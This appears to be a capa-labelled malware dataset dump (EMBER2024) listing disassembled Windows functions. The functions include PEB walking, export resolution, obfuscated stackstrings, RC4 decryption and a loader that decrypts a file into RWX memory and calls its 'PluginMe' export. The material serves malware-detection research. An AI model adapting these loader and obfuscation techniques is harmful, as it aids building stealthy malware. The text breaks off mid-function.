joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10066441
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x10066717
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x73b487b6
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x73b3f77c
push 0xffffffffffffffff
call fcn.1005d641
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x100664ab
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.100664c3
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x1006670b
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x100666df
Function at 0x10075f11
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10075f33
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10075f33
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10075f33
ret
cmp word [ebx + 4], 0x14c
jne 0x10075f33
test word [ebx + 0x16], 2
je 0x10075f33
test word [ebx + 0x16], 0x100
je 0x10075f33
cmp word [ebx + 0x18], 0x10b
jne 0x10075f33
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10075f33
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10075fbf
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10075f53
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1005ce9e
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10075f33
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x10075fbf
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10075f33
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10075f33
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10075f33
ret
cmp word [ebx + 4], 0x14c
jne 0x10075f33
test word [ebx + 0x16], 2
je 0x10075f33
test word [ebx + 0x16], 0x100
je 0x10075f33
cmp word [ebx + 0x18], 0x10b
jne 0x10075f33
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10075f33
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10075fbf
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10075f53
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1005ce9e
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10075f33
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x10076076
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100760cf
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10076076
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10076085
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1047bd28
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100760d6
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1005cf4c
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10076175
add edi, 4
add eax, 2
dec ecx
jne 0x100760bb
call 0x10076122
loope 0x10076118
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10076172
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10076183
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10076136
cmp eax, ecx
ja 0x10076136
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100761c0
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100761b6
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1005d42b
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10076085
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100760cf
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10076076
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10076085
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1047bd28
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100760d6
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1005cf4c
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10076175
add edi, 4
add eax, 2
dec ecx
jne 0x100760bb
call 0x10076122
loope 0x10076118
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10076172
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10076183
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10076136
cmp eax, ecx
ja 0x10076136
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100761c0
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100761b6
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1005d42b
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0xbcc058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00bcc1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xbcc07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbcc06a
add dl, dl
jne 0xbcc089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbcc0dc
xor eax, eax
add dl, dl
jne 0xbcc096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbcc17d
add dl, dl
jne 0xbcc0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbcc0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbcc0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbcc0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xbcc0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xbcc075
mov eax, 1
add dl, dl
jne 0xbcc0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbcc0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbcc0e1
sub eax, ebx
mov ebx, 1
jne 0xbcc128
mov ecx, 1
add dl, dl
jne 0xbcc10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xbcc119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbcc105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbcc075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xbcc13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xbcc14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbcc136
cmp eax, 0x7d00
jae 0xbcc16d
cmp eax, 0x500
jb 0xbcc168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbcc075
cmp eax, 0x7f
ja 0xbcc170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbcc075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xbcc19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xbcc075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10001080
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10018629
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x10021008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x1c], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0
xor esi, esi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x1c], 1
test ebx, ebx
je 0x1000123e
mov al, byte [edx]
dec ebx
mov byte [ebp + esi - 0x14], al
inc edx
mov ah, byte [ebp - 0x12]
inc esi
mov ch, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
mov dword [ebp - 0x20], edx
mov byte [ebp - 0xe], ah
mov byte [ebp + 0xb], ch
mov byte [ebp - 0xd], cl
cmp esi, 3
jne 0x10001175
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, ch
shl cl, 4
shr al, 4
add cl, al
mov al, ah
mov byte [ebp - 0x17], cl
mov cl, ch
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
mov al, ah
and al, 0x3f
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x15], al
xor esi, esi
nop word [eax + eax]
cmp dword [0x1007c79c], 0x10
mov ecx, 0x1007c788
movzx eax, byte [ebp + esi - 0x18]
cmovae ecx, dword [0x1007c788]
movzx eax, byte [eax + ecx]
mov ecx, edi
push eax
call fcn.100012f0
inc esi
cmp esi, 4
jl 0x10001140
mov edx, dword [ebp - 0x20]
xor esi, esi
mov ch, byte [ebp + 0xb]
mov cl, byte [ebp - 0xd]
test ebx, ebx
jne 0x100010e0
mov dword [ebp + 8], esi
test esi, esi
je 0x1000123e
mov eax, esi
cmp esi, 3
jge 0x100011ae
cmp eax, 3
jae 0x10001252
mov byte [ebp + eax - 0x14], 0
inc eax
cmp eax, 3
jl 0x10001192
mov dl, byte [ebp - 0x12]
mov ch, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
jmp 0x100011b1
mov dl, byte [ebp - 0xe]
mov al, cl
xor ebx, ebx
shr al, 2
and cl, 3
mov byte [ebp - 0x18], al
mov al, ch
shr al, 4
and ch, 0xf
shl cl, 4
add cl, al
shl ch, 2
mov al, dl
mov byte [ebp - 0x17], cl
shr al, 6
and dl, 0x3f
add ch, al
mov byte [ebp - 0x15], dl
lea eax, [esi + 1]
mov byte [ebp - 0x16], ch
mov dword [ebp - 0x20], eax
test eax, eax
jle 0x1000121c
mov esi, eax
nop dword [eax]
cmp dword [0x1007c79c], 0x10
mov ecx, 0x1007c788
movzx eax, byte [ebp + ebx - 0x18]
cmovae ecx, dword [0x1007c788]
movzx eax, byte [eax + ecx]
mov ecx, edi
push eax
call fcn.100012f0
inc ebx
cmp ebx, esi
jl 0x100011f0
mov esi, dword [ebp + 8]
cmp esi, 3
jge 0x1000123e
mov ebx, 3
sub ebx, esi
nop dword [eax + eax]
push 0x3d
mov ecx, edi
call fcn.100012f0
sub ebx, 1
jne 0x10001230
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.10017053
int3
Function at 0x10001d20
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100186f7
mov eax, dword fs:[0]
push eax
sub esp, 0x34
push ebx
push esi
push edi
mov eax, dword [0x10021008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
push edi
push 0x1001a490
push 1
push 0
push 0x1001a480
mov dword [ebp - 4], 0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x10001e6e
push 0xc
call fcn.1001712d
mov esi, eax
add esp, 4
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 1
test esi, esi
je 0x10001dad
push str.ROOTCIMV2
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10001e89
jmp 0x10001daf
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x14], esi
test esi, esi
je 0x10001e93
mov byte [ebp - 4], 2
mov ecx, dword [edi]
add edi, 4
push edi
push 0
push 0
mov eax, dword [ecx]
push 0
push 0
push 0
push 0
push dword [esi]
push ecx
call dword [eax + 0xc]
mov ebx, eax
mov byte [ebp - 4], 0
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x10001e22
mov eax, dword [esi]
test eax, eax
je 0x10001e00
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10001e17
push eax
call fcn.100174d4
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100174a3
add esp, 8
test ebx, ebx
js 0x10001e9d
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [edi]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x10001eb8
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.CoCreateInstance___error.
lea ecx, [ebp - 0x20]
call fcn.10001830
push 0x1001df7c
lea eax, [ebp - 0x20]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
push 0x8007000e
call fcn.10017e80
push 0x8007000e
call fcn.10017e80
push str.ConnectServer___error.
lea ecx, [ebp - 0x2c]
call fcn.10001830
push 0x1001df7c
lea eax, [ebp - 0x2c]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
push str.CoSetProxyBlanket___error.
lea ecx, [ebp - 0x38]
call fcn.10001830
push 0x1001df7c
lea eax, [ebp - 0x38]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x10002710
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x38
mov eax, dword [0x10021008]
xor eax, esp
mov dword [esp + 0x34], eax
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esp + 8], esi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [esp + 0xc], eax
test eax, eax
jne 0x1000277b
push eax
call dword [sym.imp.USER32.dll_GetTopWindow]
mov dword [esp + 0xc], eax
test eax, eax
jne 0x1000277b
push 0x1e
mov dword [esi + 0x10], eax
mov ecx, esi
mov dword [esi + 0x14], 7
push 0x1001ae80
mov word [esi], ax
call fcn.10007570
mov eax, esi
pop edi
pop esi
mov ecx, dword [esp + 0x34]
xor ecx, esp
call fcn.10016f21
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
test eax, eax
jne 0x100027b4
push 0x13
mov dword [esi + 0x10], eax
mov ecx, esi
mov dword [esi + 0x14], 7
push str.Window_has_no_title
mov word [esi], ax
call fcn.10007570
mov eax, esi
pop edi
pop esi
mov ecx, dword [esp + 0x34]
xor ecx, esp
call fcn.10016f21
mov esp, ebp
pop ebp
ret
lea edi, [eax + 1]
xor ecx, ecx
mov eax, edi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.100175d7
add esp, 4
mov dword [esp + 8], eax
push edi
mov edi, eax
push edi
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, edi
mov dword [esp + 0x20], 0
xor eax, eax
mov dword [esp + 0x24], 7
mov word [esp + 0x10], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10002800
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea ecx, [esp + 0x18]
call fcn.10007570
push edi
call fcn.100174d4
movups xmm0, xmmword [esp + 0x14]
mov ecx, dword [esp + 0x40]
add esp, 4
mov dword [esi + 0x10], 0
mov eax, esi
mov dword [esi + 0x14], 0
movups xmmword [esi], xmm0
pop edi
movq xmm0, qword [esp + 0x1c]
movq qword [esi + 0x10], xmm0
pop esi
xor ecx, esp
call fcn.10016f21
mov esp, ebp
pop ebp
ret
Function at 0x10002970
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [0x10021008]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [str.Advapi32.dll]
mov ax, word [0x1001af10]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x28]
movups xmmword [ebp - 0x5c], xmm0
push eax
movq xmm0, qword [0x1001af08]
lea eax, [ebp - 0x5c]
movq qword [ebp - 0x4c], xmm0
movaps xmm0, xmmword [0x1001c1f0]
push eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x7a696c61
mov dword [ebp - 0x14], 0x64695365
mov byte [ebp - 0x10], 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
movaps xmm0, xmmword [0x1001c200]
mov ebx, eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x30], 0x70696873
push eax
lea eax, [ebp - 0x5c]
mov byte [ebp - 0x2c], 0
push eax
movups xmmword [ebp - 0x40], xmm0
call edi
push eax
call esi
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x5c]
mov dword [ebp - 0xc], 0x65657246
push eax
mov dword [ebp - 8], 0x646953
call edi
push eax
call esi
mov esi, eax
mov dword [ebp - 0x64], 0
lea eax, [ebp - 0x68]
mov word [ebp - 0x60], 0x500
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x64]
push eax
call ebx
mov dword [ebp - 0x6c], eax
test eax, eax
je 0x10002a67
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x68]
push 0
call dword [ebp - 0x70]
push dword [ebp - 0x68]
call esi
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 4]
cmp eax, 1
pop edi
sete al
xor ecx, ebp
pop esi
pop ebx
call fcn.10016f21
mov esp, ebp
pop ebp
ret
Function at 0x10004c60
Capabilities:
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 0xf0000000
push 1
push 0x1001b1d8
push 0
lea eax, [ebp - 4]
mov dword [ebp - 0x10], edx
push eax
mov esi, ecx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x10004d24
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x8003
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x10004d16
push 0
push 0x100
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x10004d16
lea eax, [ebp - 0xc]
push eax
push 0x280000
push dword [ebp - 8]
push 0x6801
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x10004d08
lea eax, [ebp - 0x10]
push eax
push esi
push 0
push 1
push 0
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x10004d3b
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x10004d16
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov eax, dword [ebp - 8]
test eax, eax
je 0x10004d24
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10004d34
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x10004d49
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov eax, dword [ebp - 8]
test eax, eax
je 0x10004d57
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10004d67
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10004d70
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x10021008]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x22c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x10004dcc
nop dword [eax + eax]
cmp word [ebp + eax*2 - 0x22c], 0x5c
je 0x10004dc2
dec eax
test eax, eax
jg 0x10004db0
jmp 0x10004dcc
xor ecx, ecx
mov word [ebp + eax*2 - 0x22a], cx
xor eax, eax
mov dword [ebp - 0x24], 0x680043
mov word [ebp - 8], ax
mov ecx, 0x64
push esi
lea eax, [ebp - 0x24]
mov dword [ebp - 0x20], 0x6f0072
push eax
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x1c], 0x69006d
push eax
mov dword [ebp - 0x18], 0x6d0075
mov dword [ebp - 0x14], 0x620064
mov dword [ebp - 0x10], 0x64002e
mov dword [ebp - 0xc], 0x6c006c
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x80
push 3
push 0
push 0
push SysReAllocString
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x234], esi
test esi, esi
je 0x10004f1e
push ebx
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0x12c
jb 0x10004f15
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x10004f15
push 0
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x234]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x10004ef6
cmp dword [ebp - 0x230], edi
jne 0x10004ef6
push ecx
push ebx
lea edx, [edi - 0x100]
lea ecx, [ebx + 0x100]
call fcn.10004c60
add esp, 8
test al, al
je 0x10004ef6
lea ecx, [ebx + 0x100]
call fcn.10013610
mov esi, eax
test esi, esi
je 0x10004ef6
mov edx, str.PluginMe
mov ecx, esi
call fcn.100139b0
test eax, eax
je 0x10004eef
call eax
mov ecx, esi
call fcn.10013a40
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10016f21
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10016f21
mov esp, ebp
pop ebp
ret
Function at 0x10007ae0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x10007b0c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x10007b2e
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x10007b30
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x10007bb5
jg 0x10007b45
test esi, esi
je 0x10007bb5
test ecx, ecx
jl 0x10007b8e
jg 0x10007b4f
test eax, eax
je 0x10007b8e
cmp edi, ecx
jg 0x10007b63
jl 0x10007b59
cmp esi, eax
jae 0x10007b63
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x30]
add edx, ecx
sub esi, ecx
sbb edi, dword [esp + 0x10]
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
jmp 0x10007b91
mov edx, dword [ebp + 8]
test edi, edi
jl 0x10007bb5
jg 0x10007b9b
test esi, esi
je 0x10007bb5
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x10007bb5
push eax
push esi
push 1
push edx
